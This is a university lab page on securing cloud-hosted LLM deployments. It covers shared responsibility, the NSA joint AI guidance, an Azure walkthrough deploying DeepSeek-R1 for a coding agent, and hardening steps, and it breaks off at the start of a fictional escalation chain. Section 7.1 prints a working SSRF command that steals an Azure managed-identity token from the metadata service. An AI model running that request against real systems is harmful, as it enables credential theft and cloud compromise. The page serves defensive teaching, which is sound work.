DS 6042 · Lab 13 · 2026

Secure deployment · cloud

The cloud owns more than you think. You own less than the cloud says you do.

Cloud-managed serving is the most common production deployment pattern for large-language-model (LLM) applications today, and the most common misunderstood deployment pattern. The cloud documentation says "we handle everything"; the audit log says you misconfigured identity and access management (IAM) in week one. This lab makes the line explicit so you can defend the parts that are actually yours.

The promise of a managed cloud platform — Google's Vertex AI, Microsoft's Azure AI Foundry, Amazon's Bedrock + SageMaker — is that you trade operational complexity for monthly billing. The promise is real and the trade-off is real. What the marketing pages tend to skip is the shared-responsibility model: who is on the hook for which layer of the stack. In April 2024 the NSA, the Cybersecurity and Infrastructure Security Agency (CISA), and five allied cyber agencies jointly published the most authoritative current answer to that question; it's the spine of this lab.

Joint guidance: NSA · CISA · Federal Bureau of Investigation (FBI) · Australian Signals Directorate (ASD) · Canadian Centre for Cyber Security (CCCS) · National Cyber Security Centre (NCSC) of New Zealand and the UK, Deploying AI Systems Securely (April 2024) · platform docs: Vertex AI · Azure AI Foundry · AWS Bedrock · auditing framework: National Institute of Standards and Technology (NIST) SP 800-53 Rev. 5.

Cloud and identity vocabulary appears throughout: Entra ID, managed identity, IMDS, Key Vault / KMS, RBAC, private endpoint. Every term underlined like this is hoverable: an explainer opens directly below the line you're reading, pushing the rest of the page down — nothing gets covered.

Try it · who owns each layer · drag the deployment pattern
The same nine-layer stack from Lab 12, but the colour of each layer tells you who's responsible. Pick a deployment pattern below to see how the boundary moves. The line is not where the marketing says it is.
Click any layer for what each party owns at this position.

Where to find it

1 · Why cloud-managed?

Three honest reasons, in order of how often they matter:

Think · Pair · Share · what you trade away
I've done the Think step — reveal Pair & Share
  • Pair · 3 minCompare. Did your partner lead with cost, with GPUs, or with compliance? Which of you flagged vendor lock-in as a security concern and not just a budget one?
  • Share · 2 minAs a table, commit to the one reason you'd give a skeptical advisor for going managed and the one risk you'd disclose in the same breath — then check both against the two lists in §1.
  1. You can't get GPUs. The hyperscalers have them; you don't. For most graduate research and most production launches in 2026, managed inference is the only way to access H100/H200/B200-class hardware in under three months.
  2. Compliance becomes a config flag. SOC 2, HIPAA, FedRAMP, GDPR data-residency — the platforms have spent years getting their underlying infrastructure certified. You inherit the certifications by deploying into the right region with the right service flags.
  3. Operational complexity gets amortized. Autoscaling, multi-region failover, model-version-pinned rollouts, audit logging — the platforms ship these as primitives. Your team-of-one doesn't have to build them.

And three honest reasons the trade-off goes the other way:

  1. Per-request pricing. At scale, managed inference is dramatically more expensive than self-hosted. Crossover point is typically 10–100M requests/month.
  2. Data residency you don't fully control. Even "your data in your region," the platform's logs, debug artifacts, and abuse-prevention systems may touch your data outside your view.
  3. Lock-in. Vertex's agent framework is not portable to Bedrock. Foundry's content filter is not exposed elsewhere. The convenience comes with a vendor.

2 · The Azure AI stack · one service per security job

This lab builds on Azure, so here's the toolbox you'll actually touch, mapped to the security job each service does and the one thing you configure. Every row is a layer from the Lab 12 stack that the shared-responsibility line hands to you.

Security jobAzure serviceWhat you configure
Serve an open-weights modelAzure AI Foundry model catalog (serverless or managed compute)Which model, which deployment mode, content filter on
Frontier first-party modelAzure OpenAI (GPT family)Deployment + content filter tier
Identity & authorizationMicrosoft Entra ID + managed identityLeast-privilege RBAC roles, no static keys
Private networkingPrivate Endpoints + virtual network (VNet) / NSG (network security group)Default-deny public; no Internet-sourced rules
Secrets & keys at restAzure Key Vault (customer-managed keys)RBAC access model, rotation, purge old versions
Audit loggingAzure Monitor + Log Analytics (KQL, Kusto Query Language)Diagnostic settings, retention, alerts
Output safety filterAzure AI Content SafetyOn by default; tune categories/thresholds
Threat detectionMicrosoft Defender for CloudEnable plans; triage findings
Account & billingPay-as-you-go subscription + Cost Management budgetPrepaid debit card = hard ceiling; budget alerts

Google's Vertex AI and AWS Bedrock + SageMaker have an equivalent for every row — Workload Identity vs. managed identity, virtual private cloud (VPC) Service Controls vs. Private Endpoints, Cloud KMS vs. Key Vault. The concepts transfer cleanly; the names, the APIs, and the default-on/off states don't. The rest of this lab is Azure-specific on purpose — you learn the shape of one production cloud in depth rather than three in outline.

3 · The NSA joint guidance · seven principles

In April 2024 the NSA, CISA, FBI, and the cyber agencies of Australia, Canada, New Zealand, and the UK jointly published Deploying AI Systems Securely. It's 19 pages, vendor-neutral, and the most authoritative current statement of what a hardened deployment looks like. The seven themes, compressed:

Think · Pair · Share · predict the checklist
I've done the Think step — reveal Pair & Share
  • Pair · 3 minTrade lists. Which principle did your partner have that you didn't? Did either of you separate "encrypt the weights" from "control who can assume the role that reads them" — or did you collapse them into one?
  • Share · 2 minAs a table, pick the one principle you predict you'll see violated most often in real deployments, then track whether it's the one the attack chain leans on in §7.
  1. Inherit a secure deployment environment — don't harden a deployment after the fact; deploy it into a foundation that is already hardened. That foundation is a landing zone: a pre-built, pre-secured cloud environment (identity, networking, logging, and guardrails already wired up) that new workloads drop into. You keep it hardened with baseline policies — rules the platform auto-enforces, like Azure Policy denying a public IP address or requiring encryption — checked against a published standard such as the CIS Benchmarks (the Center for Internet Security's freely-published, consensus list of secure configuration settings for a given platform). And the paved road is the platform team's pre-approved, secure-by-default template for deploying, so that doing the secure thing is also the easy thing — you don't have to reinvent (and forget) the security controls each time.
  2. Continuously protect the artificial-intelligence (AI) system — model and weights at rest (encrypted via a KMS, a key management service), in transit (Transport Layer Security (TLS) 1.3, mutual TLS (mTLS) for internal), and in use (a trusted execution environment, TEE, for the highest-stakes workloads).
  3. Secure exposed APIs (application programming interfaces) — strong authentication (workload identity, not static keys), input validation, rate limiting, output filtering.
  4. Actively monitor model behaviour — anomaly detection on query distributions, drift detection, output classifier verdicts logged and reviewed.
  5. Protect model weights — provenance, integrity checks, access control on training datasets and fine-tuned variants. Treat weights as crown-jewel IP.
  6. Enforce strict access controlsIAM least-privilege, no broad service accounts, time-bound elevation, separation of duties.
  7. Conduct ongoing testing — red-team exercises, adversarial robustness tests, supply-chain audits. Not just at launch — continuously.

None of these are surprising. The value of the document is that seven cyber agencies wrote them down together, which makes it the right artifact to cite in your security review meeting when someone asks "is this safe enough?" The answer becomes a checklist, not a vibe.

4 · Shared responsibility, written out

The try-it widget at the top of the page is the canonical reference for this section. In prose: with managed inference (the middle position in the widget), the cloud owns the bottom of the component stack from Lab 12 (hardware, inference runtime, the inference server) and you own the top (your API gateway, application logic, identity, observability config). Three layers in between are explicitly shared — model weights, network, and observability — where each side has a distinct job and the breach usually happens in the seam. Click through the widget layer by layer to see exactly who owns what. Two specific responsibilities people get wrong:

Think · Pair · Share · where the line really falls
I've done the Think step — reveal Pair & Share
  • Pair · 3 minCompare your lists. Did either of you put "private endpoints" in the cloud's column? Argue out whether a private endpoint actually stops a compromised service account in your own VPC.
  • Share · 2 minAs a table, write the two customer-owned responsibilities you think students most often misattribute to the cloud — then check them against the two callouts in §4 below.
"the cloud handles security"

Half-true. The cloud handles infrastructure security — physical access, hypervisor isolation, patching of the inference runtime, encryption at rest. The cloud does not handle your IAM policies, your VPC configuration, your audit log retention, your system prompt, your output filtering, or your rate limits. The Capital One breach (2019) — an SSRF-to-metadata-service attack, the same pattern you walk in §7 — and the Snowflake credential-stuffing campaign (2024) are both "the cloud handled their part; the customer didn't."

"private endpoints make it secure"

Necessary, not sufficient. Private endpoints stop your traffic from crossing the public internet, which removes a real class of attack. They do not stop a compromised service account in your VPC from calling the model API freely; that's an IAM problem. They do not stop prompt injection; that's an application problem. The defense-in-depth point from Lab 11 applies here.

5 · Hands-on · deploy DeepSeek-R1 on Azure and drive it with a coding agent ~75 min

You're going to build a self-hosted, open-source Claude Code: a local coding agent (Deep Agents Code, dcode) driven by a frontier model you run yourself (DeepSeek-R1) on infrastructure you rent. The agent lives on your laptop; the model lives on Azure. Everything — signup aside — happens from the terminal, so you see what a production deployment actually looks like from the operator's chair, not a portal's happy path.

Why this lab, this stack — the motivation

The shape is deliberately the same as the coding assistant you already use: a thin local agent that reads your repo and runs your shell, talking to a big model over the network. The difference — and the entire lesson — is that you own the model and the deployment. That splits into three decisions, and the interesting security lives at their intersection:

Try it · the architecture you're about to build
Every component of the hands-on and the trust boundary between them. Your laptop runs the dcode agent; everything to the right lives in your Azure subscription. Click any box for what it does, who owns it, and the one thing you configure to keep it safe. Arrows are the request paths; the dashed line is the boundary the shared-responsibility model draws.
Click any component for details.
Think · Pair · Share · which single setting is load-bearing?
I've done the Think step — reveal Pair & Share
  • Pair · 3 minCompare. Did one of you pick a cloud-side control (public endpoint) and the other a client-side one (auto-approve shell)? Argue out which one an attacker reaches first — and whether a private endpoint helps at all once the agent on your laptop holds a valid key.
  • Share · 2 minAs a table, commit to the one cloud-side and one client-side setting you'd check first, then track them through 5.3 (endpoint auth/network) and 5.5 (dcode approval gates).
Reveal the answer (after you've committed)

The trap in the question is "single." There are two load-bearing settings and they sit on opposite sides of the trust boundary — assuming one covers the other is how the incident happens.

  • Endpoint network exposure (cloud-side) — safe at its default, if you stay on the paved road. The serverless endpoint is key-authenticated and Content Safety is on out of the box. Network exposure only becomes load-bearing when you leave that road and self-host on a VM whose NSG opens the port to the internet — the §7 finale. On the serverless path this default is fine.
  • The key — the pivot, not a setting so much as where you put it. It's a bearer credential: whoever holds it can call your model and bill your subscription. The danger is pasting it into ~/.deepagents/.env or committing it, so a laptop compromise (or a prompt-injected agent reading its own config) walks off with it. Keep it in an env var or Key Vault; rotate it.
  • The shell-approval gate (client-side) — the one whose default is actively protecting you. dcode ships with approval gates on. Flip them off (a --yolo-style flag) and a hallucinated or prompt-injected command runs on your machine. That single default going from on to off is the change most likely to turn "the model said something wrong" into "the model ran something wrong."

The Pair-step punchline: a private endpoint does not help once the agent on your laptop holds a valid key. The agent authenticates legitimately, so a network control never sees an "attacker" to block. That's why the worst-case blast radius is bounded on the client side (the approval gate), not the cloud side — and why the honest answer is "check both, and never assume the cloud-side control contains a client-side failure." You'll wire the cloud side in §5.3, the approval gate in §5.5, and key handling in §6, hardening row 8.

Prerequisites — open by default; collapse if your environment is ready.
Tested on macOS · your budget and how to make it last

The balance you load on the prepaid card — reinforced by the spend budget you set — is your ceiling; the only question is billing shape:

One wrinkle: a brand-new subscription occasionally needs a few minutes after the card is added before it will create serverless (pay-as-you-go) deployments. If az ml serverless-endpoint create is rejected at first, wait and retry or fall back to managed compute (below). Either way, the endpoint, agent, and audit steps are identical.

5.1 Set up your Azure subscription (CLI, a paid plan, and a budget)

Create the subscription in the browser once — a pay-as-you-go plan with a prepaid debit card as the payment method and a budget set (both covered below) — then do everything else from the terminal.

Install the Azure CLI if you don't have az yet:

Then add the ML extension and check the version:

az extension add -n ml            # or: az extension update -n ml  (to refresh it)
az version                        # azure-cli 2.70+ recommended

Sign in. az login opens a browser for the Entra sign-in and caches a token every later command reuses. On a headless or SSH box where no browser can open, use the device-code flow:

az login                          # opens a browser → Microsoft Entra ID sign-in
az login --use-device-code        # headless / remote alternative

Pick — and verify — the subscription. You may have more than one (a university or personal subscription and your lab subscription). List them, set the one you intend to spend on by name or id, and confirm you landed on it:

az account list -o table                              # every subscription you can see
az account set --subscription "DS6042 Lab"            # or: --subscription <id>
az account show --query "{name:name, state:state, user:user.name}" -o table
$ az account show --query "{name:name, state:state, user:user.name}" -o table
Name         State    User
-----------  -------  ------------------
DS6042 Lab   Enabled  you@virginia.edu
Portal reference · All services → Subscriptions
The same list, in the portal. Three columns matter: the name, the Subscription ID (the GUID — treat it as sensitive; it's blurred here), and My role. Deploy into the one where your role is Owner (green). Never deploy into a production subscription you only have limited access to (red).
Microsoft Azure All services › Subscriptions Subscriptions Subscription name Subscription ID My role Current cost DS6042 Lab ••••••••-••••-••••-•••••••••••• Owner $0.00 ← use this UVA-ITS-EICM-PROD ••••••••-••••-••••-•••••••••••• Resource access Unauthorized ← never
Gotcha we hit testing this lab · "Enabled" locally ≠ usable

az account list reads a cached list and can report a subscription as Enabled even after it has been disabled — and a subscription is disabled if its payment method fails or a spending limit is hit (a prepaid card drained to $0 stops it cold). Your first resource command then fails with SubscriptionNotFound. Verify the subscription is actually live at the control plane before you rely on it:

# authoritative check — does Azure Resource Manager (ARM) actually return this subscription?
az account subscription list --query "[].{name:displayName, state:state}" -o table
# simplest smoke test — can you list resource groups in it?
az group list -o table

If the subscription shows Enabled in az account list but is missing from az account subscription list (or az group list errors with SubscriptionNotFound), it's disabled — top up the prepaid card / fix the payment method, or switch to another with az account set. And check the name in az account show every time: it is easy to be dropped onto a shared production subscription by default and deploy lab resources into it by accident.

The cache is stale in both directions: a subscription you just created (or that was just shared with you) can be missing from az account list even though it's live. Force a refresh instead of re-logging in:

az account list --refresh -o table    # re-pulls the list using your current token

Create the pay-as-you-go subscription. If you don't have one yet, add it from Subscriptions → + Add: the wizard's Basics tab picks your billing account and the Microsoft Azure Plan, you attach your prepaid debit card as the payment method, and its Budget tab sets a spend alert in the same flow. Pay-as-you-go is what enables serverless deployments and lifts the low default rate limits.

Portal reference · Subscriptions → + Add → Create a subscription (Basics)
The billing-account, billing-profile, and invoice-section identifiers are sensitive — blur them if you screenshot this. The Plan must read Microsoft Azure Plan.
Microsoft Azure Create a subscription Basics Advanced Budget Tags Review + create Subscription details Subscription name * ds-payg Billing account * Your name (••••••••-••••-••••-••••) Billing profile * Your name (••••-••••-•••-•••) Invoice section * Your name (••••-••••-•••-•••) Plan * Microsoft Azure Plan
Portal reference · Create a subscription (Budget tab)
Set the budget in the same wizard. A budget alerts at your threshold; it does not hard-stop spending — so pair it with a prepaid card whose balance is the real ceiling.
Microsoft Azure Create a subscription Basics Advanced Budget Tags Review + create Budget details Create a budget for this subscription. Name ds-course Amount (in USD) 25 Alert condition Send alert when 100 % of the amount has been crossed (emailed to you)
Why pay-as-you-go + a prepaid card · the budget alerts, the card is the real ceiling

A brand-new or spending-limited subscription gets low serverless rate limits and can't create pay-as-you-go serverless deployments — which is why the §5.4 smoke test may keep returning 429. Being on pay-as-you-go (which you set up in §5.1) is what relaxes the limit and lets az ml serverless-endpoint create work. Two controls keep the spend safe, and they do different jobs:

  1. The budget alerts. Portal → Cost Management → Budgets → + Add; scope it to your subscription, set an amount (e.g. $20) and email alerts at 50 / 80 / 100 %. A budget alerts — it does not hard-stop spending — so treat it as an early warning, not a cap.
  2. The prepaid card is the hard ceiling. A prepaid debit card is the safe choice for a lab: its loaded balance is a hard ceiling — Azure can never charge more than what's on the card. That's the real cap the budget can't give you.

Tear the endpoint and resource group down when you're done (§5.7) so nothing keeps drawing on the card, and keep an eye on the budget alerts — a reasoning model driven by an agent can spend faster than you expect.

That user.name is your Entra ID — the same identity that will authorize the deployment, own the endpoint's keys, and appear in every audit-log line. This is workload/user identity, not a static key: principle #3 and #6 of the NSA list, satisfied before you deploy anything.

5.2 Stand up the Foundry project

A Foundry project is an Azure ML workspace with a model catalog attached. Create the resource group, register the resource providers a brand-new subscription needs, create the workspace, then set CLI defaults so later commands don't repeat them.

az extension add -n ml                # once; 'az extension update -n ml' to refresh
az group create -n ds6042-lab13 -l eastus2

# On a NEW subscription these providers start unregistered. Register them first, or
# 'az ml workspace create' fails with MissingSubscriptionRegistration.
for ns in Microsoft.MachineLearningServices Microsoft.Storage Microsoft.KeyVault \
          Microsoft.ContainerRegistry Microsoft.Insights Microsoft.CognitiveServices; do
  az provider register --namespace $ns
done
# registration is async (1-3 min); wait until this prints 'Registered':
az provider show -n Microsoft.MachineLearningServices --query registrationState -o tsv

az ml workspace create -n ds6042-foundry -g ds6042-lab13 -l eastus2   # ~3-5 min

# make these the defaults for every 'az ml' command below
az configure --defaults group=ds6042-lab13 workspace=ds6042-foundry location=eastus2
Predictable snags in §5.2 (we hit all three while testing)

5.3 Deploy DeepSeek-R1 from the model catalog

DeepSeek-R1 is an open-weights (MIT-licensed) frontier reasoning model that's strong at code, and Azure hosts it as a "sold by Azure" serverless offering — the cleanest possible deploy: no Marketplace subscription, just an endpoint. We deployed exactly this end-to-end while writing the lab (create → smoke test → teardown), so the commands below are the ones that actually worked. Confirm the Model ID first:

az ml model show --name DeepSeek-R1 --registry-name azureml-deepseek --query id -o tsv
# → azureml://registries/azureml-deepseek/models/DeepSeek-R1/versions/N

Drop the trailing /versions/N (serverless always deploys the latest) and put the Model ID in an endpoint spec:

endpoint.yml
name: deepseek-r1-lab13
model_id: azureml://registries/azureml-deepseek/models/DeepSeek-R1
# DeepSeek is "sold by Azure" → deploy straight to a serverless endpoint, no subscription step.
az ml serverless-endpoint create -f endpoint.yml            # ~2-5 min
az ml serverless-endpoint show -n deepseek-r1-lab13 --query provisioning_state -o tsv   # → Succeeded

# the endpoint URL (the "Target URI") lives on the endpoint object:
az ml serverless-endpoint show -n deepseek-r1-lab13 --query scoring_uri -o tsv
# → https://deepseek-r1-lab13.<region>.models.ai.azure.com

# the API keys come from a SEPARATE call (two keys, so you can rotate one at a time):
az ml serverless-endpoint get-credentials -n deepseek-r1-lab13
# → { "primaryKey": "abcd… (32 chars)", "secondaryKey": "efgh… (32 chars)" }
Gotcha we hit · resolving in the registry ≠ serverless-deployable

az ml model show succeeding only proves the model asset exists. Whether it can be deployed serverless is a separate, per-model, per-region offer. While testing, a sibling model resolved fine yet serverless-endpoint create failed with ServerlessModelNotAvailable — it simply wasn't offered serverless in eastus2. DeepSeek-R1 is (that's why the lab uses it). If you see that error: pick a model whose catalog card lists Serverless API in your region, recreate the workspace in a supported region, or fall back to managed compute (next callout).

Between the two calls you now have the pair every later step needs: the Target URI (from show — the endpoint's HTTPS address, speaking the OpenAI-compatible Azure AI Model Inference API) and a bearer key (from get-credentials — use primaryKey). Two things are already true and load-bearing: the endpoint is key-authenticated (no anonymous calls) and content filtering is on by default (Azure AI Content Safety screens prompts and responses). Treat that key like a password — on its own it lets anyone call your model, bill your subscription, and (until §6) bypass every other control. §5.4 captures both straight into environment variables so you never paste the key into a file.

Partner/community models need one extra step (DeepSeek doesn't)

Models sold by Azure — DeepSeek, and Microsoft's own Phi — deploy straight to a serverless endpoint as above. Models from partners & community (some Mistral, Cohere, and others) are Azure Marketplace offers: for those you first subscribe the project, then create the endpoint.

# only for a partner/Marketplace model — subscription.yml carries the same name + model_id
az ml marketplace-subscription create -f subscription.yml
az ml serverless-endpoint create -f endpoint.yml

If serverless-endpoint create ever errors that a subscription is required, that's the model telling you it's a partner offer — create the Marketplace subscription first.

If serverless isn't offered in your region — use managed compute

Serverless availability is regional. If the catalog card for DeepSeek-R1 shows only Managed compute in your region (or serverless create fails as unavailable), deploy that way instead: on the card choose Deploy → Managed compute, pick the smallest GPU SKU (stock-keeping unit, i.e. the VM size/tier) it fits on, and deploy. Same OpenAI-compatible endpoint + key downstream; the difference is you pay for a running VM (scale to zero or delete when done) and you need GPU quota on the subscription. Every later step — smoke test, dcode, audit — is identical.

5.4 Smoke-test the endpoint

Capture the URI and key straight from the CLI into environment variables — no copy-paste, no guessing the hostname, and the key never touches a file:

# the endpoint's base URL:
export DEEPSEEK_ENDPOINT=$(az ml serverless-endpoint show -n deepseek-r1-lab13 --query scoring_uri -o tsv)
# the bearer key (primaryKey field of get-credentials):
export DEEPSEEK_KEY=$(az ml serverless-endpoint get-credentials -n deepseek-r1-lab13 --query primaryKey -o tsv)
echo "endpoint: $DEEPSEEK_ENDPOINT"     # sanity check → https://…models.ai.azure.com

Then hit the OpenAI-compatible route. Any OpenAI client library works unchanged — that's the whole point of a compatible API.

curl "$DEEPSEEK_ENDPOINT/v1/chat/completions" \
  -H "Authorization: Bearer $DEEPSEEK_KEY" \
  -H "Content-Type: application/json" \
  -d '{"model":"DeepSeek-R1",
       "messages":[{"role":"user","content":"Write a Python one-liner that reverses a string."}],
       "max_tokens":2048}'
Endpoint-URL details students trip on
R1 is a reasoning model — budget tokens, expect a <think> trace

DeepSeek-R1 "thinks" before it answers: the response content contains a <think>…</think> block and then the answer. In our smoke test a one-word reply used 134 completion tokens. Two consequences: (1) set max_tokens generously (2048+) or the reply gets cut off inside the reasoning, before any answer appears; (2) reasoning tokens are billed, so R1 costs more per turn than a non-reasoning model — fine for a lab, worth knowing for an agent that loops. If you want cheaper, snappier agent turns and your region offers it, a non-reasoning DeepSeek/Qwen-Coder serverless model drops in with no other changes.

5.5 Hook it to Deep Agents Code (dcode)

dcode is LangChain's terminal coding agent: it plans, reads and edits files, runs shell commands, and spawns subagents — driven by whatever model you point it at. We point it at your DeepSeek-R1 endpoint. Because the endpoint is OpenAI-compatible, the agent treats it as an OpenAI model with a custom base URL and key.

It's one of several terminal coding agents that all do roughly the same job — plan, edit files, run your shell. What separates them for this lab is one question: can you point the agent at the model you host? That comes down to the wire format the agent expects a custom endpoint to speak, because your §5.4 endpoint talks the OpenAI Chat Completions API.

AgentMaker · open source?Models it drivesWire format for a custom endpointDrops onto your §5.4 Azure endpoint as-is?
dcode (Deep Agents Code)LangChain · yes (MIT)Any — provider:model or any LangChain chat modelOpenAI Chat Completions (base_url + key)Yes — directly. This is what the lab uses.
opencodeSST / Anomaly · yes (MIT)75+ providers (OpenAI, Anthropic, Google, Bedrock, Azure, Ollama…)OpenAI-compatible + per-provider pluginsYes — add its Azure / OpenAI-compatible provider
Claude CodeAnthropic · no (CLI proprietary; Agent SDK is open)Claude family (direct, or via Bedrock / Vertex / self-host)Anthropic Messages API (/v1/messages)Not directly — needs a translating gateway (e.g. LiteLLM) or an endpoint that speaks /v1/messages
Codex CLIOpenAI · yes (Apache-2.0)OpenAI GPT-5.x Codex; custom providers via config.tomlOpenAI Responses API (wire_api = "responses")Not directly — a Chat-Completions endpoint needs a Responses-API gateway in front

Why the lab uses dcode: it and opencode speak OpenAI Chat Completions, so they attach to your Azure endpoint with just the base URL and key from §5.4. Claude Code expects the Anthropic Messages API and Codex expects the OpenAI Responses API, so pointing those at a Chat-Completions endpoint means running a translating gateway (like LiteLLM) in between. Same agent capabilities — different plumbing, and the plumbing is the lesson: "OpenAI-compatible" is not one thing, so always check which API surface a client expects before you assume your endpoint drops in.

The SDK path (fully explicit, recommended for the lab). Build the model object yourself so the base URL, key, and model name are unambiguous:

# agent.py — DeepSeek-R1 on Azure, driving a coding deep agent
import os
from deepagents import create_deep_agent
from langchain_openai import ChatOpenAI

deepseek = ChatOpenAI(
    base_url=os.environ["DEEPSEEK_ENDPOINT"] + "/v1",   # your Azure Target URI
    api_key=os.environ["DEEPSEEK_KEY"],                 # the endpoint's primary key
    model="DeepSeek-R1",
    temperature=0,
)

# create_deep_agent ships filesystem tools (ls/read_file/write_file/edit_file/glob/grep),
# a shell 'execute' tool, task-planning (write_todos), and subagents (task).
agent = create_deep_agent(
    model=deepseek,
    system_prompt="You are a careful coding agent. Explain before you run shell commands.",
)

result = agent.invoke({"messages": [
    {"role": "user", "content": "Create fizzbuzz.py and run it for n=1..15."}
]})
print(result["messages"][-1].content)
pip install deepagents langchain-openai
python agent.py

The CLI path (the dcode binary). Same endpoint, driven interactively. Install it, expose the Azure endpoint through the OpenAI-compatible environment variables, and select the model with the provider:model syntax:

curl -LsSf https://langch.in/dcode | bash        # installs the dcode CLI

export OPENAI_BASE_URL="$DEEPSEEK_ENDPOINT/v1"         # point 'openai' provider at Azure
export OPENAI_API_KEY="$DEEPSEEK_KEY"

dcode --model openai:DeepSeek-R1                      # interactive coding session
dcode --model openai:DeepSeek-R1 -n "Add a --json flag to cli.py and update the README"
Confirming (and debugging) the dcode ↔ Azure link
the agent is a client-side attack surface · watch the approval gate

dcode's execute tool runs real shell commands. Its safety model is human approval gates on destructive operations — the client-side twin of the cloud-side content filter. Auto-approving everything (a --yolo-style flag, or an over-broad allow rule) is how "the model hallucinated rm -rf" or "a prompt-injected file told the agent to exfiltrate your keys" becomes real. This is the Lab 5 / Lab 10 agent-security lesson landing inside a deployment lab: the endpoint key you just minted now lives on a machine where an agent runs commands. Keep the gate on; run untrusted tasks in a sandbox (dcode supports remote sandboxes — Modal, E2B, LangSmith).

5.6 Audit logging · Azure Monitor

Diagnostic settings attach to the workspace (that's the resource that emits the model deploy/read/inferencing events — we confirmed the categories with az monitor diagnostic-settings categories list), and stream them to a Log Analytics workspace you can query with KQL. Answer "who called the model, when" the same day-one way §8 asks for.

az monitor log-analytics workspace create -g ds6042-lab13 -n ds6042-logs

# (optional) see exactly which log categories the workspace offers:
az monitor diagnostic-settings categories list \
  --resource $(az ml workspace show -n ds6042-foundry --query id -o tsv) -o table

# stream all workspace diagnostics (model + deployment + inferencing events) to Log Analytics
az monitor diagnostic-settings create \
  --name deepseek-audit \
  --resource $(az ml workspace show -n ds6042-foundry --query id -o tsv) \
  --workspace ds6042-logs \
  --logs '[{"categoryGroup":"allLogs","enabled":true}]'
// KQL — recent Azure ML activity, newest first (field names vary by category;
// run a bare 'AzureDiagnostics | take 50' first to see the columns your events carry)
AzureDiagnostics
| where ResourceProvider == "MICROSOFT.MACHINELEARNINGSERVICES"
| where TimeGenerated > ago(24h)
| project TimeGenerated, OperationName, Category, CallerIPAddress
| order by TimeGenerated desc

Now the endpoint is authenticated, content-filtered, and audited; the agent driving it has an approval gate; and every request lands in a warehouse you can SQL. That is the NSA checklist, satisfied from the command line.

5.7 Tear it down (do this — it's how you stop the bill)

Cloud resources bill until you delete them. A serverless endpoint only bills per token, but the workspace's storage, Key Vault, and any managed-compute VM keep costing money while they exist. When you're done for the day, delete the endpoint (and its Marketplace subscription); when you're done with the lab, delete the whole resource group in one shot.

# stop token billing: delete the endpoint (DeepSeek is sold-by-Azure, no subscription to remove).
# NOTE: 'serverless-endpoint delete' has NO --yes flag; it deletes without a prompt.
az ml serverless-endpoint delete -n deepseek-r1-lab13 --no-wait
# only if you deployed a PARTNER model and created a Marketplace subscription:
# az ml marketplace-subscription delete -n <sub-name>

# nuke everything from this lab at once (irreversible — deletes the whole group)
az group delete -n ds6042-lab13 --yes --no-wait

# confirm it's gone
az group exists -n ds6042-lab13        # → false once the delete finishes
Two teardown gotchas

6 · Hardening · the NSA checklist on this deployment

Going back to the seven principles in §3, here's how each maps to specific Azure configuration for the DeepSeek-R1 + dcode deployment — plus one row the NSA list predates: constraining the agent that now holds your endpoint key.

NSA principleWhat to enable on Azure
1. Inherit a secure environmentDeploy the resource group + workspace with Bicep or Terraform, not click-ops. Apply an Azure landing zone baseline and Azure Policy guardrails (deny public network, require customer-managed keys, CMK) at the subscription.
2. Protect at rest / in transit / in useAzure Key Vault customer-managed keys on the workspace + its storage. TLS 1.3 is default. For "in use," confidential computing (DCasv5 / NCC-H100) SKUs.
3. Secure exposed APIsPrefer Entra managed identity tokens over the static endpoint key where the caller is an Azure workload; keep Azure AI Content Safety on. Put Azure API Management or Front Door (a web application firewall, WAF, + rate limits) in front. Validate input before the call.
4. Monitor behaviourAzure Monitor + Log Analytics (§5.6) + a scheduled KQL alert for query-volume anomalies. Microsoft Defender for Cloud for finding-level alerts.
5. Protect model weightsDeepSeek-R1 is open-weights: on managed compute, store the model artifacts in a CMK-encrypted storage account with RBAC + audit, and pin the model version your eval passed against.
6. Strict access controlsEntra RBAC (role-based access control) least-privilege — assign Azure AI Developer, never Owner. Managed identity (not the shared key) for app-to-endpoint. Conditional Access on the tenant. Quarterly access review against the audit log.
7. Ongoing testingSchedule a recurring agentic pentest (Lab 10 toolchain) against the endpoint using a scoped test identity. Track findings in the same Log Analytics workspace.
8. Constrain the agent (client-side, beyond the NSA list)Keep dcode's approval gates on; scope its tools; run untrusted tasks in a remote sandbox. Never store the endpoint key in a dotfile or commit it — put it in Key Vault or an env var, and rotate it (az ml serverless-endpoint regenerate-keys) on any suspicion.

7 · Real-world attack chain · Azure managed-identity escalation, SSRF to subscription-wide ~45 min

The NSA-aligned hardening in §6 covers the deployment you ship. What it does not cover is what a real engagement looks like when an attacker chains misconfigurations across Azure services. This section walks one such chain end-to-end. The vehicle is a fictional MegaCorpAI / St. Hubbins consulting engagement; the techniques map to incidents Wiz, Orca, and MSRC have published against real Azure-hosted ML platforms in 2024–2026.

The chain has six steps: SSRF in a public web app → the VM's managed-identity token from IMDS → an over-broad custom RBAC role → an Automation Account whose identity is Contributor at the subscription → five Azure services leaking secrets → a self-hosted DeepSeek/vLLM VM anyone on the internet can hit. Every step maps to something on the NSA seven-principles checklist (§3) — sometimes by violating it, sometimes by being scoped too broadly to matter.

Think · Pair · Share · how does one bug become subscription-wide?
I've done the Think step — reveal Pair & Share
  • Pair · 4 minCompare predicted chains. Did one of you reach for IMDS + managed identity and the other a leaked key? Which careful, scoped custom role do you each think a later hop quietly makes irrelevant?
  • Share · 2 minAs a table, commit to one answer: which built-in role, assigned at which scope, on which shared resource, defeats every scoped custom role upstream of it — then check it against 7.3 · the built-in-role trap.
Try it · step through the escalation
Watch one web bug become subscription-wide access. Step through the six hops; the orange region is everything the attacker can reach at that moment, and the identity they're acting as is named at the bottom. The jump from hop 2 to hop 3 is the whole lesson — a single over-broad role assignment turns one resource group into the entire subscription.

7.1 Foothold · SSRF on the patient-portal VM (NSA #2 · Validate input)

The patient portal runs on an Azure VM and has an /api/export?template_url=... endpoint that fetches a URL server-side and renders the report. Classic Server-Side Request Forgery (SSRF). On Azure, the crown jewel an SSRF reaches is the Instance Metadata Service (IMDS) at the link-local address 169.254.169.254 — every VM's managed-identity token lives one HTTP request away. Azure's only guard is a required Metadata: true header (there is no AWS-IMDSv2-style session token), so an SSRF that forwards a header, or an app whose HTTP client adds none that conflict, walks right in:

kali@kali:~$ curl -s -H "Metadata: true" "https://portal.sthubbins.health/api/export?template_url=\
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01%26resource=https://management.azure.com/"
{"access_token":"eyJ0eXAiOiJKV1Qi...", "resource":"https://management.azure.com/",
 "token_type":"Bearer", "client_id":"a1b2c3d4-...", "expires_in":"86399"}
kali@kali:~$ # decode the JWT payload to learn WHO this token is
